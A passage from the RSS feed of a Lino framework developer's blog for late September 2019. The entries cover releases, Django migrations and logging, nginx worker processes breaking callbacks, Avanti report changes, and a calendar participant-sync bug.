&lt;p&gt;I pushed some cosmetic changes to lino (default for &lt;a class="reference external" href="https://dev.lino-framework.org/ref/settings.html#setting-TIME_ZONE" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-setting docutils literal notranslate"&gt;&lt;span class="pre"&gt;TIME_ZONE&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is now
“UTC” instead of &lt;cite&gt;None&lt;/cite&gt;, and I replaced some lazy text translations by immediate
translations because the problem seems to come because there are still calls to
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;django.utils.functional.lazy()&lt;/span&gt;&lt;/code&gt; hanging around).&lt;/p&gt;
&lt;p&gt;Note that the mentioned Medium article by Emlyn O’Regan has three follow-ups
that seem to be quite close to what we need. And in the &lt;a class="reference external" href="https://medium.com/&amp;#64;emlynoregan/automatically-serialising-recursive-inner-functions-in-python-using-the-y-combinator-fc5d37e50b29"&gt;fourth article&lt;/a&gt;
he posts a code snippet that might work for us.  But this was more than three
years ago.  Isn’t this already  merged into dill?  I wouldn’t want to  rely on
this code if it is not tested and maintained by competent people…&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0925.html</guid><pubDate>Wed, 25 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, September 24, 2019</title><link>https://luc.lino-framework.org/blog/2019/0924.html</link><description>&lt;section id="tuesday-september-24-2019"&gt;
&lt;h1&gt;Tuesday, September 24, 2019&lt;a class="headerlink" href="#tuesday-september-24-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="cosi"&gt;
&lt;h2&gt;Così&lt;a class="headerlink" href="#cosi" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I opened and did &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3222"&gt;#3222&lt;/a&gt; (&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.JournalsOverview" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting.JournalsOverview&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;),
and I copied the Estonian name generator from the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#management_command-garble_persons" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;garble_persons&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#term-django-admin-command" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;django-admin command&lt;/span&gt;&lt;/a&gt; to a &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture for &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.contacts.html#module-lino_xl.lib.contacts" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.contacts&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
(needed for &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3221"&gt;#3221&lt;/a&gt;).  Both changes are in preparation of a public demo
in Märjamaa planned for Saturday.&lt;/p&gt;
&lt;p&gt;I pushed above changes to master without waiting for the end of the test run,
then pushed another commit for adapting the book tests.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="avanti"&gt;
&lt;h2&gt;Avanti&lt;a class="headerlink" href="#avanti" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I released Avanti 19.9.1, Lino XL 19.9.6 and Lino 19.9.1 for the &lt;a class="reference external" href="https://www.synodalsoft.net/lifecycle/#term-site-upgrade" title="(in Synodalsoft)"&gt;&lt;span class="xref std std-term"&gt;site
upgrade&lt;/span&gt;&lt;/a&gt; of the &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; preview site.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="welfare"&gt;
&lt;h2&gt;Welfare&lt;a class="headerlink" href="#welfare" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Back to work on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3095"&gt;#3095&lt;/a&gt; (move weleup to new server).&lt;/p&gt;
&lt;p&gt;I released &lt;a class="reference external" href="https://welfare.lino-framework.org/index.html#welfare" title="(in Lino Welfare)"&gt;&lt;span&gt;Lino Welfare&lt;/span&gt;&lt;/a&gt; 19.9.1 and &lt;a class="reference external" href="https://welfare.lino-framework.org/api/index.html#weleup" title="(in Lino Welfare)"&gt;&lt;span&gt;The Eupen variant of Lino Welfare&lt;/span&gt;&lt;/a&gt; 19.9.1.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="logging-messages"&gt;
&lt;h2&gt;Logging messages&lt;a class="headerlink" href="#logging-messages" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I use to have &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://hosting.lino-framework.org/logging/#envvar-LINO_LOGLEVEL" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;LINO_LOGLEVEL&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; set to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;DEBUG&lt;/span&gt;&lt;/code&gt; when running a
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#management_command-runserver" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;runserver&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;  because the debug messages generated by Lino are useful
when running manual tests. With newer Django versions I have the  same problem
as reported on &lt;a class="reference external" href="https://code.djangoproject.com/ticket/30554"&gt;30554&lt;/a&gt;.  To
“fix” this, the &lt;a class="reference external" href="https://dev.lino-framework.org/topics/logging.html#lino.core.site.Site.setup_logging" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.setup_logging()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; method now sets the
level for Django’s &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;django.utils.autoreload&lt;/span&gt;&lt;/code&gt; logger to &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;INFO&lt;/span&gt;&lt;/code&gt; .&lt;/p&gt;
&lt;/section&gt;
&lt;section id="unknown-callback-7f1d8ad5a39"&gt;
&lt;h2&gt;Unknown callback ‘7f1d8ad5a39’&lt;a class="headerlink" href="#unknown-callback-7f1d8ad5a39" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Lino’s callback system doesn’t work ATM on our sites running under nginx because
callbacks require a unique &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Kernel.pending_threads&lt;/span&gt;&lt;/code&gt; where all unanswered
callback questions are stored. It is currently impossible to delete e.g. a
calendar entry on such a Lino site.&lt;/p&gt;
&lt;p&gt;nginx creates separate worker processes that run in completely different
processes and cannot share data between them.&lt;/p&gt;
&lt;p&gt;“Nginx uses only asynchronous I/O, which makes blocking a non-issue.  The only
reason nginx uses multiple processes, is to make full use of multi-core,
multi-CPU and hyper-threading systems. Even with SMP support, the kernel cannot
schedule a single thread of execution over multiple CPU”&lt;/p&gt;
&lt;p&gt;I changed the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;worker_processes&lt;/span&gt;&lt;/code&gt; value in the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;nginx/prjname_uwsgi.ini&lt;/span&gt;&lt;/code&gt;
file from 10 to 1 and voilà. Of course we need to keep an eye on performance. If
needed I’d consider redis for storing the callbacks and user preferences and all
those things.&lt;/p&gt;
&lt;p&gt;Sources:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://stackoverflow.com/questions/4764731/nginx-its-multithreaded-but-uses-multiple-processes"&gt;https://stackoverflow.com/questions/4764731/nginx-its-multithreaded-but-uses-multiple-processes&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://www.nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale"&gt;https://www.nginx.com/blog/inside-nginx-how-we-designed-for-performance-scale&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://nginx.org/en/docs/ngx_core_module.html?&amp;amp;_ga=2.30660287.1891405285.1569342613-901822152.1569342613#worker_processes"&gt;https://nginx.org/en/docs/ngx_core_module.html?&amp;amp;_ga=2.30660287.1891405285.1569342613-901822152.1569342613#worker_processes&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0924.html</guid><pubDate>Tue, 24 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Monday, September 23, 2019</title><link>https://luc.lino-framework.org/blog/2019/0923.html</link><description>&lt;section id="monday-september-23-2019"&gt;
&lt;h1&gt;Monday, September 23, 2019&lt;a class="headerlink" href="#monday-september-23-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I finished the change requests for &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2274"&gt;#2274&lt;/a&gt;). Summary of
changes:&lt;/p&gt;
&lt;p&gt;Changes in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.cv.html#module-lino_xl.lib.cv" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cv&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cv.html#lino_xl.lib.cv.BiographyOwner.language_knowledge" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;BiographyOwner.language_knowledge&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now also shows whether there is a certificate or not&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cv.html#lino_xl.lib.cv.CefLevel" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;CefLevel&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; choicelist now shows only the values (A0, A1, …) and no longer their textual descriptions&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Changes in &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;final_report.body.html&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Added a new plugin &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_avanti.lib.cv.html#module-lino_avanti.lib.cv" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.cv&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
which adds two specific fields to &lt;a class="reference external" href="https://dev.lino-framework.org/specs/avanti/cv.html#lino_avanti.lib.cv.Study" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_avanti.lib.cv.Study&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Changes in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.polls.html#module-lino_xl.lib.polls" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.polls&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;New table &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;polls.AnswersByResponsePrint&lt;/span&gt;&lt;/code&gt; is now shown in the detail of
a response.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;List of commits:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2019-09-22 20:51 in &lt;em&gt;xl&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/xl/commit/3f9754b36b975b34a00d3ca2eaf97ae82b0c11e7"&gt;b0c11e7&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/0922.html"&gt;http://luc.lino-framework.org/blog/2019/0922.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-09-22 20:51 in &lt;em&gt;avanti&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/avanti/commit/f61f0f031b5d10b175fdc259277309ede523fea6"&gt;523fea6&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/0922.html"&gt;http://luc.lino-framework.org/blog/2019/0922.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-09-22 20:51 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/book/commit/567debe44c60928c4bd5ef366880120d4ef8129f"&gt;ef8129f&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/0922.html"&gt;http://luc.lino-framework.org/blog/2019/0922.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-09-22 21:19 in &lt;em&gt;book&lt;/em&gt;:
&lt;a class="reference external" href="https://github.com/lino-framework/book/commit/20d61469044fadbfe73a61eb70ccebaa8d411673"&gt;d411673&lt;/a&gt;
(&lt;a class="reference external" href="http://luc.lino-framework.org/blog/2019/0922.html"&gt;http://luc.lino-framework.org/blog/2019/0922.html&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0923.html</guid><pubDate>Mon, 23 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Sunday, September 22, 2019</title><link>https://luc.lino-framework.org/blog/2019/0922.html</link><description>&lt;section id="sunday-september-22-2019"&gt;
&lt;h1&gt;Sunday, September 22, 2019&lt;a class="headerlink" href="#sunday-september-22-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="changes-for-avanti"&gt;
&lt;h2&gt;Changes for Avanti&lt;a class="headerlink" href="#changes-for-avanti" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Last Monday I had a meeting with Johanna resulting in a list of customer
requests for &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2274"&gt;#2274&lt;/a&gt;). Yesterday and today I finally found
time to work on it.&lt;/p&gt;
&lt;p&gt;DONE&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Fehler bei Doppelklick auf einer Frage in einer Umfrage (AnswersByResponseRow,
sh. Server-Log)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sozialbilanz (&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;final_report.body.html&lt;/span&gt;&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Klientenkontakte : Namen der Mitarbeiter im ADG und ÖSHZ drucken. Die anderen
Kontakte (z.B. Patenschaftsprojekt) nicht drucken.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Sprachkenntnisse : Tabelle raus. In Zusammenfassung auch Zertifikat anzeigen.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;CEF-Kategorie : nur das Kürzel, nicht die ganze Beschreibung. Auch am Bildschirm.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Kompetenzen und Ausbildungen : lediglich die Tabelle.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Studien : 2 neue Felder  “in Belgien anerkannt” und “Akad. Grad in Belgien”&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“Einschreibungen in Kursen” : raus aus dem Bericht&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“Work area” übersetzen “Bereich”. Texte drumherum raus.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Feld Berufliche Situation vor die Tabelle.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Arbeitserlaubnis benötigt : steht am Bildschirm, wird aber nicht gedruckt.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“Professionelles Ziel” und “Verfügbarkeit” : weg (die stehen im Abschlussgespräch)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;Tabelle Berufserfahrungen : Funktion, Status, Beendigungsgrund raus&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Abschlussgespräch : als Aufzählung, nicht als Tabelle. Fragen ohne Antwort gar nicht erst ausdrucken.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="manage-py-prep-fails-in-migs-demo-project-but-leaves-to-migrations-tree"&gt;
&lt;h2&gt;manage.py prep fails in migs demo project (but leaves to migrations tree)&lt;a class="headerlink" href="#manage-py-prep-fails-in-migs-demo-project-but-leaves-to-migrations-tree" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I worked a few hours on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3219"&gt;#3219&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;migrations_package&lt;/span&gt;&lt;/code&gt; site
attribute no longer needs to be set explicitly in a &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file
because Lino now sets it automatically when your project directory has a
subdirectory named &lt;a class="reference external" href="https://dev.lino-framework.org/specs/migrate.html#xfile-migrations" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;migrations&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.  As a result we can now easily enable
Django migrations for a site by creating an empty &lt;a class="reference external" href="https://dev.lino-framework.org/specs/migrate.html#xfile-migrations" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;migrations&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; directory.
Or we can disable them by removing this directory and its subdirectories. The
only use case so far is the &lt;a class="reference external" href="https://dev.lino-framework.org/specs/migrate.html#book-specs-migrate" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Django migrations on a Lino site&lt;/span&gt;&lt;/a&gt; doctest where we show some
operations with shell commands in the &lt;a class="reference external" href="https://dev.lino-framework.org/projects/migs.html#module-lino_book.projects.migs" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.migs&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; project.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/projects/migs.html#module-lino_book.projects.migs" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.migs&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; demo project is not defined as a demo project
in  &lt;a class="reference external" href="https://atelier.lino-framework.org/usage.html#xfile-tasks.py" title="(in atelier v1.1)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;tasks.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; because &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/prep.html#command-pm-prep" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;prep&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is being run even twice in the
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/migrate.html#book-specs-migrate" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Django migrations on a Lino site&lt;/span&gt;&lt;/a&gt; doctest. I also removed it from the
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_demo.py&lt;/span&gt;&lt;/code&gt; because it currently has no Django tests.  I also removed
the tests subdir because it was empty.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/initdb.html#management_command-initdb" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;initdb&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now always also runs &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;makemigrations&lt;/span&gt;&lt;/code&gt;. On a
classical Lino site without a migrations package this just issues a message
:message`No changes detected`.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0922.html</guid><pubDate>Sun, 22 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Saturday, September 21, 2019</title><link>https://luc.lino-framework.org/blog/2019/0921.html</link><description>&lt;section id="saturday-september-21-2019"&gt;
&lt;h1&gt;Saturday, September 21, 2019&lt;a class="headerlink" href="#saturday-september-21-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0921.html</guid><pubDate>Sat, 21 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Friday, September 20, 2019</title><link>https://luc.lino-framework.org/blog/2019/0920.html</link><description>&lt;section id="friday-september-20-2019"&gt;
&lt;h1&gt;Friday, September 20, 2019&lt;a class="headerlink" href="#friday-september-20-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="amici-removes-participants-of-my-meeting"&gt;
&lt;h2&gt;Amici removes participants of my meeting&lt;a class="headerlink" href="#amici-removes-participants-of-my-meeting" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continued working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3210"&gt;#3210&lt;/a&gt; (Amici removes participants of my
meeting).&lt;/p&gt;
&lt;p&gt;To reproduce the problem:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/dev/django.html#management_command-runserver" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;runserver&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_amici.projects.herman&lt;/span&gt;&lt;/code&gt; and sign in as robin.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;create calendar entry, leave it in draft mode&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;enter a guest. Lino accepts it.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Hit the Save button of the calendar entry. Poof the participant is gone!&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This is because in other circumstances we want this behaviour: Lino should
automatically keep the list of participants synchronized with the “suggested
guests” for this meeting.  For example in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; when we have a course
with participants (enrolments), and we have generated a series of calendar
entries having their suggested guests filled already, and now one participant
cancels their enrolment.  We want Lino to update all participants of meetings
that are still in draft state.  The issue is that Lino doesn’t correctly
differentiate between those two situations:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;manually enter and manage the list of guests&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;fill guests automatically and keep it synchronized with the guests suggested
by the entry generator.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lino should no longer let me manually create a guest when the event is in “fill
guests” mode.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.Event.update_guests" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Event.update_guests&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; action is always called in the
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Event.after_ui_save()&lt;/span&gt;&lt;/code&gt; method.  That’s okay, but in our case the action
obviously comes to the conclusion that we do want to update our guests. More
precisely the event state obviously has &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.EntryState.edit_guests" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;EntryState.edit_guests&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; set to
False, and the entry type has &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;fill_presences&lt;/span&gt;&lt;/code&gt; set to True.  The solution
is to simply set&lt;/p&gt;
&lt;p&gt;Summary of changes:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;New method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;Event.can_edit_guests_manually()&lt;/span&gt;&lt;/code&gt; which encapsulates this
condition. That method is now also used to decide whether presences of a
calendar entry can be manually created or deleted.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Changed “Edit participants” to “Fill guests” (in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.EntryStates" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;EntryStates&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Renamed &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.EntryState.edit_guests" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;EntryState.edit_guests&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; to &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.EntryState.fill_guests" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;EntryState.fill_guests&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Changed the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cal.html#lino_xl.lib.cal.EntryState.fill_guests" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;EntryState.fill_guests&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; for &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;EntryStates.took_place&lt;/span&gt;&lt;/code&gt;
from True to False. Not sure whether this is good. To be observed.  Maybe this
is application specific.&lt;/p&gt;&lt;/li&gt;
